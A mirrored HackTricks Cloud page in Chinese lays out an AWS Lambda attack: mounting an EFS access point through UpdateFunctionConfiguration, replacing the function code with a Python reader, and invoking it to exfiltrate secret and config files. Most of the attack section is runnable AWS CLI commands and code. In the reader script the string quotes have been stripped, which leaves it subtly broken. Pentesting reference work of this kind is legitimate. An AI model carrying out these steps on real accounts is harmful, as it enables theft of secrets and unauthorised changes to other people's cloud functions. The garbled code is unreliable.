mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-05 03:16:37 -08:00
3.0 KiB
3.0 KiB
AWS Lambda – EFS Mount Injection via UpdateFunctionConfiguration (数据窃取)
滥用 lambda:UpdateFunctionConfiguration 将现有 EFS Access Point 附加到 Lambda,然后部署简单代码,列出/读取挂载路径中的文件,以 exfiltrate 函数之前无法访问的共享 secrets/config。
要求
- 受害者账户/主体的权限:
lambda:GetFunctionConfigurationlambda:ListFunctions(用于查找 functions)lambda:UpdateFunctionConfigurationlambda:UpdateFunctionCodelambda:InvokeFunctionefs:DescribeMountTargets(用于确认 mount targets 存在)- 环境假设:
- 目标 Lambda 已启用 VPC,且其子网/SGs 可通过 TCP/2049 访问 EFS 挂载目标的 SG(例如,角色具有 AWSLambdaVPCAccessExecutionRole 且 VPC 路由允许)。
- EFS Access Point 位于相同 VPC,并在 Lambda 子网所在的 AZs 中有挂载目标。
攻击
- 变量
REGION=us-east-1
TARGET_FN=<target-lambda-name>
EFS_AP_ARN=<efs-access-point-arn>
- 将 EFS Access Point 附加到 Lambda
aws lambda update-function-configuration \
--function-name $TARGET_FN \
--file-system-configs Arn=$EFS_AP_ARN,LocalMountPath=/mnt/ht \
--region $REGION
# wait until LastUpdateStatus == Successful
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
- 用一个简单的读取器覆盖代码,该读取器列出文件并查看候选 secret/config file 的前 200 bytes
cat > reader.py <<PY
import os, json
BASE=/mnt/ht
def lambda_handler(e, c):
out={ls:[],peek:None}
try:
for root, dirs, files in os.walk(BASE):
for f in files:
p=os.path.join(root,f)
out[ls].append(p)
cand = next((p for p in out[ls] if secret in p.lower() or config in p.lower()), None)
if cand:
with open(cand,rb) as fh:
out[peek] = fh.read(200).decode(utf-8,ignore)
except Exception as ex:
out[err]=str(ex)
return out
PY
zip reader.zip reader.py
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://reader.zip --region $REGION
# If the original handler was different, set it to reader.lambda_handler
aws lambda update-function-configuration --function-name $TARGET_FN --handler reader.lambda_handler --region $REGION
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
- 调用并获取数据
aws lambda invoke --function-name $TARGET_FN /tmp/efs-out.json --region $REGION >/dev/null
cat /tmp/efs-out.json
输出应包含 /mnt/ht 下的目录列表,以及从 EFS 中选择的一个 secret/config file 的小预览。
影响
拥有所列权限的攻击者可以将任意 in-VPC EFS Access Points 挂载到受害者的 Lambda 函数中,以读取并外传存储在 EFS 上的共享配置和 secrets,这些内容此前对该函数不可访问。
清理
aws lambda update-function-configuration --function-name $TARGET_FN --file-system-configs [] --region $REGION || true